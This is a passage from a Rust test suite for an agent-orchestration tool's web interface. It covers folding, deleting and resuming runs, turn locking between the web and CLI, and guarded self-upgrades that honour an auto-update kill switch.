20044
20045        // 3. Run detail has delete entry and reasons
20046        assert!(APP_JS.contains("renderRunDelete"));
20047        assert!(APP_JS.contains("runDeleteReason"));
20048        assert!(APP_JS.contains("magi fold"));
20049        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
20050
20051        // 4. Two-step delete arming and focus on Cancel
20052        assert!(APP_JS.contains("cancel.focus"));
20053        assert!(APP_JS.contains("armedRunDelete"));
20054        assert!(APP_JS.contains("renderTaskDeleteBox"));
20055        assert!(APP_JS.contains("armed${cap(key)}"));
20056
20057        // 5. Running task has disabled delete
20058        assert!(APP_JS.contains("disabled: status === \"running\""));
20059    }
20060
20061    /// Every element a run card's updater reaches for must be in the `refs`
20062    /// the builder handed it.
20063    ///
20064    /// `createRunCard` builds its elements, appends them to the card, and then
20065    /// lists them again in `row.refs`. That second list is the one the updater
20066    /// uses, and nothing connects the two - an element can be built, appended
20067    /// and rendered, and still be missing from `refs`. `superseded` was, for
20068    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
20069    /// exception took `syncList` with it, and the deck showed
20070    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
20071    /// line is computed before the cards, which is why the failure looked like
20072    /// a server that had lost its runs rather than a front end that had
20073    /// stopped rendering them.
20074    ///
20075    /// A `cargo test` cannot execute the front end, so this reads the two
20076    /// halves out of the source and compares them as sets. It is not a check
20077    /// on the wording of either list: adding an element, renaming one, or
20078    /// reordering them all keeps this passing, and only using one the builder
20079    /// never published fails it.
20080    #[test]
20081    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
20082        let build = APP_JS
20083            .find("function createRunCard")
20084            .expect("createRunCard exists");
20085        let update = APP_JS
20086            .find("function updateRunCard")
20087            .expect("updateRunCard exists");
20088        let end = APP_JS
20089            .find("function renderRuns")
20090            .expect("renderRuns exists");
20091
20092        // The builder's published set: the object literal assigned to `refs`.
20093        let builder = &APP_JS[build..update];
20094        let open = builder.find("refs = {").expect("createRunCard sets refs");
20095        let literal = &builder[open + "refs = {".len()..];
20096        let close = literal.find('}').expect("the refs literal is closed");
20097        let published: HashSet<&str> = literal[..close]
20098            .split(',')
20099            // `name` and `name: value` both bind `name`.
20100            .filter_map(|entry| entry.split(':').next())
20101            .map(str::trim)
20102            .filter(|name| !name.is_empty())
20103            .collect();
20104        assert!(
20105            published.len() > 5,
20106            "the refs literal did not parse into names: {published:?}"
20107        );
20108
20109        // What the updaters reach for: every `r.<name>`, where `r` is the
20110        // `const r = row.refs` alias both functions open with.
20111        let mut used: Vec<&str> = Vec::new();
20112        let updaters = &APP_JS[update..end];
20113        for (at, _) in updaters.match_indices("r.") {
20114            // `r` must be the whole identifier, not the tail of another one
20115            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
20116            let before = updaters[..at].chars().next_back();
20117            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
20118                continue;
20119            }
20120            let rest = &updaters[at + 2..];
20121            let len = rest
20122                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
20123                .unwrap_or(rest.len());
20124            if len > 0 {
20125                used.push(&rest[..len]);
20126            }
20127        }
20128        assert!(
20129            used.len() > 5,
20130            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
20131        );
20132
20133        let missing: Vec<&str> = used
20134            .iter()
20135            .copied()
20136            .filter(|name| !published.contains(name))
20137            .collect();
20138        assert!(
20139            missing.is_empty(),
20140            "a run card's updater reaches for {missing:?}, which `createRunCard` \
20141             never put in `refs` - every card will throw and the list will \
20142             render empty under a count line that says otherwise. Published: \
20143             {published:?}"
20144        );
20145    }
20146
20147    #[tokio::test]
20148    async fn folding_from_the_phone_reports_what_it_removed() {
20149        let fx = Fixture::start().await;
20150        let runs = fx.runs();
20151
20152        // A run with no candidates has nothing to fold, which is a 200 with an
20153        // honest count rather than an error: the operator asked for the trees
20154        // to be gone and they are.
20155        let id = "20260901-000000-fold";
20156        write_run(&runs, id, RunStatus::Stalled);
20157        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
20158        assert_eq!(res.status, 200);
20159        assert_eq!(res.json()["removed_count"], 0);
20160        assert_eq!(res.json()["run"], id);
20161        assert!(
20162            runs.join(id).exists(),
20163            "a fold keeps the run's record; only the worktrees go"
20164        );
20165    }
20166
20167    #[tokio::test]
20168    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
20169        let fx = Fixture::start().await;
20170        let runs = fx.runs();
20171        let wt = fx.home.path().join("wt").join("magi").join("dead");
20172        let id = "20260901-000000-dead";
20173        std::fs::create_dir_all(runs.join(id)).expect("run dir");
20174        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
20175        std::fs::create_dir_all(&wt).expect("worktree dir");
20176
20177        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
20178        assert_eq!(res.status, 200, "{}", res.body);
20179        assert!(
20180            res.json()["removed_count"].as_u64().unwrap() > 0,
20181            "the worktree this build could not read a state for still went"
20182        );
20183        assert!(
20184            !runs.join(id).exists(),
20185            "an unreadable run has no candidate list to fold selectively, so \
20186             the whole record goes - same as `magi fold` on the CLI"
20187        );
20188    }
20189
20190    #[tokio::test]
20191    async fn deleting_an_unreadable_run_removes_it_wholesale() {
20192        let fx = Fixture::start().await;
20193        let runs = fx.runs();
20194        let wt = fx.home.path().join("wt").join("magi").join("gone");
20195        let id = "20260901-000000-gone";
20196        std::fs::create_dir_all(runs.join(id)).expect("run dir");
20197        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
20198        std::fs::create_dir_all(&wt).expect("worktree dir");
20199
20200        let res = fx.delete(&format!("/api/runs/{id}")).await;
20201        assert_eq!(res.status, 204, "{}", res.body);
20202        assert!(!runs.join(id).exists(), "the broken record is gone");
20203        assert!(!wt.exists(), "its worktree is gone too");
20204    }
20205
20206    #[tokio::test]
20207    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
20208        let fx = Fixture::start().await;
20209        let runs = fx.runs();
20210        let id = "20260901-000000-live";
20211        write_run(&runs, id, RunStatus::Implementing);
20212
20213        let mut beat = crate::daemon::Status::new();
20214        beat.current = vec![crate::daemon::Current {
20215            task: "20260901-000000-task".to_owned(),
20216            run: id.to_owned(),
20217        }];
20218        beat.updated_at = jiff::Timestamp::now();
20219        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20220            .expect("publish a heartbeat");
20221
20222        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
20223        assert_eq!(res.status, 409);
20224        assert!(
20225            res.json()["error"]
20226                .as_str()
20227                .unwrap()
20228                .contains("live daemon"),
20229            "folding under a running agent would pull its worktree away"
20230        );
20231    }
20232
20233    #[tokio::test]
20234    async fn fold_merged_requires_a_pr_url() {
20235        let fx = Fixture::start().await;
20236        let runs = fx.runs();
20237        let id = "20260901-000000-nourl";
20238        write_run(&runs, id, RunStatus::Blocked);
20239
20240        let res = fx
20241            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
20242            .await;
20243        assert_eq!(res.status, 400, "{}", res.body);
20244
20245        let blank = fx
20246            .post(
20247                &format!("/api/runs/{id}/fold-merged"),
20248                Some(r#"{"pr_url":"   "}"#),
20249            )
20250            .await;
20251        assert_eq!(blank.status, 400, "{}", blank.body);
20252    }
20253
20254    #[tokio::test]
20255    async fn fold_merged_is_404_for_an_unknown_run() {
20256        let fx = Fixture::start().await;
20257        let res = fx
20258            .post(
20259                "/api/runs/nosuchrun/fold-merged",
20260                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
20261            )
20262            .await;
20263        assert_eq!(res.status, 404, "{}", res.body);
20264    }
20265
20266    #[tokio::test]
20267    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
20268        let fx = Fixture::start().await;
20269        let runs = fx.runs();
20270        let id = "20260901-000000-livemerge";
20271        write_run(&runs, id, RunStatus::Blocked);
20272
20273        let mut beat = crate::daemon::Status::new();
20274        beat.current = vec![crate::daemon::Current {
20275            task: "20260901-000000-task".to_owned(),
20276            run: id.to_owned(),
20277        }];
20278        beat.updated_at = jiff::Timestamp::now();
20279        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20280            .expect("publish a heartbeat");
20281
20282        let res = fx
20283            .post(
20284                &format!("/api/runs/{id}/fold-merged"),
20285                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
20286            )
20287            .await;
20288        assert_eq!(res.status, 409, "{}", res.body);
20289        assert!(
20290            res.json()["error"]
20291                .as_str()
20292                .unwrap()
20293                .contains("live daemon"),
20294            "correcting a run's merge underneath a running agent would race \
20295             whatever it is doing to the same `status`/`merge` fields"
20296        );
20297    }
20298
20299    /// A pull request `gh` cannot even ask about (no such remote, no such
20300    /// repository) must never be recorded as a merge on a guess - the same
20301    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
20302    /// command line, reached here through the phone route instead.
20303    #[tokio::test]
20304    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
20305        let fx = Fixture::start().await;
20306        let runs = fx.runs();
20307        let id = "20260901-000000-unconfirmed";
20308        write_run(&runs, id, RunStatus::Blocked);
20309
20310        let res = fx
20311            .post(
20312                &format!("/api/runs/{id}/fold-merged"),
20313                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
20314            )
20315            .await;
20316        assert_eq!(res.status, 400, "{}", res.body);
20317        assert_eq!(
20318            read_run(&runs, id).unwrap().status,
20319            RunStatus::Blocked,
20320            "a pull request that could not be confirmed merged must leave \
20321             the run exactly where it was"
20322        );
20323    }
20324
20325    #[tokio::test]
20326    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
20327        let fx = Fixture::start().await;
20328        let runs = fx.runs();
20329
20330        // Only a finished run and a failed one. An *interrupted* run - a
20331        // parked one, or one whose daemon was killed mid-node - is the case
20332        // resuming exists for: run 4043 sat at `reviewing` with the deck
20333        // saying it could not be resumed, which was the one state where
20334        // resuming was the only sensible answer.
20335        for (status, word) in [
20336            (RunStatus::Merged, "merged"),
20337            (RunStatus::Ready, "ready"),
20338            (RunStatus::Failed, "failed"),
20339        ] {
20340            let id = format!("20260901-000000-{}", &word[..4]);
20341            write_run(&runs, &id, status);
20342            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
20343            assert_eq!(res.status, 409, "{word} must not be resumable");
20344            let err = res.json()["error"].as_str().unwrap().to_owned();
20345            assert!(err.contains(word), "the refusal names the status: {err}");
20346        }
20347
20348        // And an interrupted run is accepted: 202, with the resume running in
20349        // the background. `Runner::resume` fails immediately here - the
20350        // fixture's run points at a repository that does not exist - which is
20351        // the point: the handler must not wait for it to find out.
20352        let mid = "20260901-000000-midf";
20353        write_run(&runs, mid, RunStatus::Reviewing);
20354        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
20355        assert_eq!(res.status, 202, "an interrupted run is resumable");
20356    }
20357
20358    #[tokio::test]
20359    async fn resume_is_refused_while_the_loop_is_running() {
20360        let fx = Fixture::start().await;
20361        let runs = fx.runs();
20362        let stalled = "20260901-000000-stal";
20363        write_run(&runs, stalled, RunStatus::Stalled);
20364
20365        // The loop is busy with a *different* run, and that is still a
20366        // refusal: a manual resume must never race whatever the loop itself
20367        // is already driving, whether that is one run or several.
20368        let mut beat = crate::daemon::Status::new();
20369        beat.current = vec![crate::daemon::Current {
20370            task: "20260901-000000-task".to_owned(),
20371            run: "20260901-000000-othr".to_owned(),
20372        }];
20373        beat.updated_at = jiff::Timestamp::now();
20374        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20375            .expect("publish a heartbeat");
20376
20377        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
20378        assert_eq!(res.status, 409);
20379        let err = res.json()["error"].as_str().unwrap().to_owned();
20380        assert!(err.contains("othr"), "it names what the loop is on: {err}");
20381        assert!(err.contains("stop it first"), "{err}");
20382    }
20383
20384    #[test]
20385    fn a_run_cannot_be_resumed_twice_at_once() {
20386        let home = TempDir::new().expect("temp home");
20387        let ui = Ui::new(
20388            Queue::at(home.path().join("queue")),
20389            Questions::at(home.path().join("questions")),
20390            Talks::at(home.path().join("talks")),
20391            home.path().join("runs"),
20392            home.path().to_path_buf(),
20393            PathBuf::from("/repo"),
20394        )
20395        .with_worktrees_root(home.path().join("wt"));
20396        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
20397        let again = ui.begin_resume("20260901-000000-once");
20398        assert!(again.is_err(), "a second tap must not start a second graph");
20399        drop(first);
20400        assert!(
20401            ui.begin_resume("20260901-000000-once").is_ok(),
20402            "and the claim is released when the attempt ends"
20403        );
20404    }
20405
20406    #[test]
20407    fn talk_thinking_tracks_only_its_held_turn_claim() {
20408        let home = TempDir::new().expect("temp home");
20409        let ui = Ui::new(
20410            Queue::at(home.path().join("queue")),
20411            Questions::at(home.path().join("questions")),
20412            Talks::at(home.path().join("talks")),
20413            home.path().join("runs"),
20414            home.path().to_path_buf(),
20415            PathBuf::from("/repo"),
20416        )
20417        .with_worktrees_root(home.path().join("wt"));
20418        let id = "20260901-000000-once";
20419
20420        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
20421        let turn = ui.begin_talk_turn(id).expect("claim turn");
20422        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
20423        assert!(
20424            !ui.is_thinking("20260901-000000-other"),
20425            "one talk's turn does not make another talk busy"
20426        );
20427        drop(turn);
20428        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
20429    }
20430
20431    #[test]
20432    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
20433        let home = TempDir::new().expect("temp home");
20434        let talks = Talks::at(home.path().join("talks"));
20435        let ui = Ui::new(
20436            Queue::at(home.path().join("queue")),
20437            Questions::at(home.path().join("questions")),
20438            talks.clone(),
20439            home.path().join("runs"),
20440            home.path().to_path_buf(),
20441            PathBuf::from("/repo"),
20442        )
20443        .with_worktrees_root(home.path().join("wt"));
20444        let id = "20260901-000000-cross";
20445
20446        let other = Talks::at(home.path().join("talks"))
20447            .claim_turn(id)
20448            .expect("claim")
20449            .expect("the other process wins");
20450        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
20451        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
20452        assert!(
20453            matches!(
20454                ui.begin_talk_turn_unless_pending(id).expect("start"),
20455                TalkTurnStart::Foreign
20456            ),
20457            "a foreign holder is refused, not queued behind"
20458        );
20459        assert!(
20460            !ui.talk_turns.lock().unwrap().live.contains(id),
20461            "a refused claim leaves no in-process entry behind"
20462        );
20463        drop(other);
20464        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
20465        assert!(talks.turn_held(id), "the web turn holds the lease");
20466        drop(turn);
20467        assert!(
20468            !talks.turn_held(id),
20469            "dropping the guard releases the lease"
20470        );
20471    }
20472
20473    fn consult_question(ui: &Ui) -> Question {
20474        let mut q = Question::new(
20475            "20260901-000000-consult".to_owned(),
20476            "implement".to_owned(),
20477            "impl-A".to_owned(),
20478            "Which backend?".to_owned(),
20479            String::new(),
20480            vec!["SQLite".to_owned(), "Redis".to_owned()],
20481        );
20482        ui.questions.put(&mut q).expect("question");
20483        q
20484    }
20485
20486    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
20487        (
20488            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
20489            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
20490        )
20491    }
20492
20493    #[tokio::test]
20494    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
20495        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
20496        let q = consult_question(&ui);
20497        let talk = ui.talks.get(&id).expect("talk");
20498        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
20499        let before = consult_snapshot(&ui, &q, &id);
20500        let cli_talks = Talks::at(ui.home.join("talks"));
20501        assert_eq!(
20502            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
20503                .await
20504                .expect("CLI starter"),
20505            crate::consult::Started::Busy
20506        );
20507        assert_eq!(consult_snapshot(&ui, &q, &id), before);
20508        assert!(ui.is_thinking(&id));
20509        drop(guard);
20510        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
20511    }
20512
20513    #[tokio::test]
20514    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
20515        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
20516        let q = consult_question(&ui);
20517        let talk = ui.talks.get(&id).expect("talk");
20518        let started = tmp.path().join("started");
20519        let release = tmp.path().join("release");
20520        let script = tmp.path().join("consult-agent.sh");
20521        std::fs::write(
20522            &script,
20523            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
20524        )
20525        .expect("script");
20526        let mut cfg = stub_config();
20527        cfg.agents[0].id = "mock".to_owned();
20528        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
20529        cfg.agents[0].env = std::collections::BTreeMap::from([
20530            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
20531            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
20532        ]);
20533        let questions = ui.questions.clone();
20534        let cli_talks = Talks::at(ui.home.join("talks"));
20535        let cli_q = q.clone();
20536        let turn = tokio::spawn(async move {
20537            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
20538        });
20539        let ready = tokio::time::timeout(Duration::from_secs(30), async {
20540            while !started.exists() {
20541                tokio::time::sleep(Duration::from_millis(10)).await;
20542            }
20543        })
20544        .await;
20545        // Always release and join the agent, even if readiness or the web
20546        // request fails, so a failed assertion cannot leave a turn behind.
20547        let refusal = if ready.is_ok() {
20548            let before = consult_snapshot(&ui, &q, &id);
20549            let result = talk_say(
20550                State(Arc::clone(&ui)),
20551                Path(id.clone()),
20552                Ok(Json(NewTalkTurn {
20553                    reply_to: None,
20554                    text: "another message".to_owned(),
20555                    attachments: Vec::new(),
20556                })),
20557            )
20558            .await;
20559            Some((result, before, consult_snapshot(&ui, &q, &id)))
20560        } else {
20561            None
20562        };
20563        std::fs::write(&release, "").expect("release agent");
20564        let done = turn.await.expect("join CLI turn");
20565        ready.expect("agent started before deadline");
20566        let (result, before, after) = refusal.expect("web request");
20567        let error = result.expect_err("web must refuse the CLI's turn");
20568        assert_eq!(error.status, StatusCode::CONFLICT);
20569        assert!(error.message.contains("a turn is already running"));
20570        assert_eq!(
20571            after, before,
20572            "refusal preserves question, draft and history"
20573        );
20574        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
20575        let guard = ui
20576            .begin_talk_turn(&id)
20577            .expect("web claim")
20578            .expect("free again");
20579        drop(guard);
20580    }
20581
20582    #[test]
20583    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
20584        let home = TempDir::new().expect("temp home");
20585        let talks = Talks::at(home.path().join("talks"));
20586        let ui = Ui::new(
20587            Queue::at(home.path().join("queue")),
20588            Questions::at(home.path().join("questions")),
20589            talks.clone(),
20590            home.path().join("runs"),
20591            home.path().to_path_buf(),
20592            PathBuf::from("/repo"),
20593        )
20594        .with_worktrees_root(home.path().join("wt"));
20595        let id = "20260901-000000-order";
20596        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
20597        // Hold the slot mutex so the drop can finish the lease but not the slot.
20598        let slots = ui.talk_turns.lock().unwrap();
20599        let dropper = std::thread::spawn(move || drop(turn));
20600        let start = std::time::Instant::now();
20601        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
20602            std::thread::sleep(Duration::from_millis(5));
20603        }
20604        assert!(!talks.turn_held(id), "the lease is released first");
20605        assert!(slots.live.contains(id), "the slot is still held meanwhile");
20606        drop(slots);
20607        dropper.join().expect("join");
20608        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
20609    }
20610
20611    #[tokio::test]
20612    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
20613        let fx = Fixture::start().await;
20614        // Somebody else's `magi serve` owns the queue. Replacing this binary
20615        // would leave that process running an old one against the same
20616        // claims, which is worse than refusing.
20617        let mut beat = crate::daemon::Status::new();
20618        beat.pid = 4321;
20619        beat.updated_at = jiff::Timestamp::now();
20620        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20621            .expect("publish a heartbeat");
20622
20623        let res = fx.post("/api/upgrade", None).await;
20624        assert_eq!(res.status, 409);
20625        let err = res.json()["error"].as_str().unwrap().to_owned();
20626        assert!(err.contains("4321"), "the refusal names the owner: {err}");
20627        assert!(err.contains("old one against the same queue"), "{err}");
20628    }
20629
20630    /// [`should_spawn_recheck`] must refuse for the same two reasons
20631    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
20632    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
20633    /// Purely a predicate over config and the environment - no network, no
20634    /// disk, no runtime - so unlike the fixture-based tests around it this
20635    /// one needs neither.
20636    #[test]
20637    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
20638        assert!(!should_spawn_recheck(&crate::config::Update {
20639            mode: UpdateMode::Off,
20640            interval: None,
20641        }));
20642
20643        // SAFETY: single-threaded as far as this variable goes, the same
20644        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
20645        unsafe {
20646            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
20647        }
20648        let killed = should_spawn_recheck(&crate::config::Update {
20649            mode: UpdateMode::Notify,
20650            interval: None,
20651        });
20652        unsafe {
20653            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
20654        }
20655        assert!(
20656            !killed,
20657            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
20658             one-time startup check"
20659        );
20660
20661        assert!(should_spawn_recheck(&crate::config::Update {
20662            mode: UpdateMode::Notify,
20663            interval: None,
20664        }));
20665    }
20666
20667    /// [`recheck_poll_period`] must track a configured `[update] interval`
20668    /// shorter than its own default ceiling - a fixed sleep here would leave
20669    /// an operator's short interval waiting on the next wake-up instead of on
20670    /// `should_check`, which is the same bug this whole task exists to fix,
20671    /// just one level down.
20672    #[test]
20673    fn recheck_poll_period_tracks_a_short_configured_interval() {
20674        let short = crate::config::Update {
20675            mode: UpdateMode::Notify,
20676            interval: Some("1m".to_owned()),
20677        };
20678        let period = recheck_poll_period(&short);
20679        assert!(
20680            period <= Duration::from_secs(30),
20681            "a one-minute interval must wake the task far sooner than the \
20682             default ceiling, or the deck would not notice within the \
20683             interval the operator configured: got {period:?}"
20684        );
20685
20686        let default = crate::config::Update {
20687            mode: UpdateMode::Notify,
20688            interval: None,
20689        };
20690        assert_eq!(
20691            recheck_poll_period(&default),
20692            UPDATE_RECHECK_POLL_MAX,
20693            "the default day-long interval should poll at the (capped) \
20694             ceiling rather than needlessly often"
20695        );
20696    }
20697
20698    /// [`update_recheck_due`] must not repeat a check made moments ago, the
20699    /// same throttle `updater::Checker::should_check` already gives the
20700    /// CLI's notify mode. Built over an explicit state file via
20701    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
20702    /// write the operator's real `last_update_check.json` - and therefore
20703    /// cannot flake on whatever that file happens to say on the machine
20704    /// running the test.
20705    #[test]
20706    fn recheck_skips_the_network_before_the_interval_elapses() {
20707        let dir = TempDir::new().expect("temp dir");
20708        let path = dir.path().join("state.json");
20709        let state = kaishin::UpdateCheckState {
20710            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
20711            last_known_latest: None,
20712            last_known_url: None,
20713        };
20714        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
20715
20716        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
20717        assert!(
20718            !update_recheck_due(&checker, None),
20719            "a check made moments ago must not be repeated before the \
20720             configured interval elapses"
20721        );
20722    }
20723
20724    /// An upgrade this deck already started must not be raced by a recheck
20725    /// that discovers a newer release mid-install - regardless of what
20726    /// `should_check` says, which is why the state file here is missing
20727    /// entirely: read alone, that alone would answer "never checked, go
20728    /// ahead".
20729    #[test]
20730    fn recheck_defers_to_an_upgrade_already_in_flight() {
20731        let dir = TempDir::new().expect("temp dir");
20732        let path = dir.path().join("state.json");
20733        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
20734        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
20735
20736        assert!(
20737            !update_recheck_due(&checker, Some(&progress)),
20738            "a recheck must not run while an upgrade this deck started is \
20739             still moving"
20740        );
20741    }
20742
20743    #[tokio::test]
20744    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
20745        // The same env var the background check honours (`disabled_by_env`)
20746        // must also stop a button press before it ever calls
20747        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
20748        // means "never contact GitHub from this process", and a tap on the
20749        // upgrade button must not override that any more than a broken
20750        // `magi.toml` may. Left unset, this fixture's default config would
20751        // otherwise reach a real, unauthenticated GitHub call.
20752        //
20753        // SAFETY: single-threaded as far as this variable goes - nothing else
20754        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
20755        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
20756        unsafe {
20757            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
20758        }
20759        let fx = Fixture::start().await;
20760        let res = fx.post("/api/upgrade", None).await;
20761        unsafe {
20762            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
20763        }
20764        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
20765        let body = res.json();
20766        assert!(body["to"].is_null(), "there was no release to move to");
20767        assert!(body["parked"].is_null(), "and nothing was parked");
20768        assert!(
20769            body["detail"]
20770                .as_str()
20771                .unwrap()
20772                .contains("disabled by MAGI_NO_AUTOUPDATE"),
20773            "{body:?}"
20774        );
20775    }
20776
20777    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
20778        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
20779        p.stage = stage;
20780        p
20781    }
20782
20783    #[test]
20784    fn busy_stages_match_the_ui_set() {
20785        use crate::updater::Stage;
20786        assert!(APP_JS.contains(
20787            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
20788        ));
20789        for s in [
20790            Stage::Downloading,
20791            Stage::Replaced,
20792            Stage::Parking,
20793            Stage::Restarting,
20794        ] {
20795            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
20796        }
20797        for s in [Stage::Done, Stage::Failed] {
20798            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
20799        }
20800        assert!(upgrade_in_motion(None).is_none());
20801    }
20802
20803    #[tokio::test]
20804    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
20805        use crate::updater::Stage;
20806        for stage in [
20807            Stage::Downloading,
20808            Stage::Replaced,
20809            Stage::Parking,
20810            Stage::Restarting,
20811        ] {
20812            let fx = Fixture::start().await;
20813            let seeded = seeded_progress(stage);
20814            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
20815            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
20816                .expect("read");
20817
20818            let res = fx.post("/api/upgrade", None).await;
20819            assert_eq!(res.status, 409, "{stage:?}");
20820            let err = res.json()["error"].as_str().unwrap().to_owned();
20821            assert!(err.contains("already in progress"), "{err}");
20822            assert!(err.contains(stage.as_str()), "{err}");
20823
20824            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
20825                .expect("read");
20826            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
20827            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
20828                .unwrap_or_default();
20829            assert!(!log.contains("signalling HANDOVER"), "{log}");
20830        }
20831    }
20832
20833    #[test]
20834    fn upgrade_retry_timing_only_parses_known_diagnostics() {
20835        assert_eq!(
20836            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
20837            Some(3723)
20838        );
20839        assert_eq!(
20840            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
20841            Some(60)
20842        );
20843        assert_eq!(
20844            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
20845            Some(0)
20846        );
20847        for message in [
20848            "permission denied",
20849            "GitHub API rate limit exceeded",
20850            "GitHub rate limit (resets in unknown)",
20851            "GitHub rate limit (resets in 18446744073709551615d)",
20852        ] {
20853            assert_eq!(upgrade_retry_after(message), None, "{message}");
20854        }
20855    }
20856
20857    #[tokio::test]
20858    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
20859        let home = TempDir::new().unwrap();
20860        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
20861        ui.start_loop(None).unwrap();
20862        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
20863        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
20864        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
20865        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
20866        let response = finish_upgrade_request(&ui, result);
20867        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
20868        assert_eq!(response.headers()["retry-after"], "120");
20869        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
20870            .await
20871            .unwrap();
20872        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
20873        assert!(body["error"].as_str().unwrap().contains(reason));
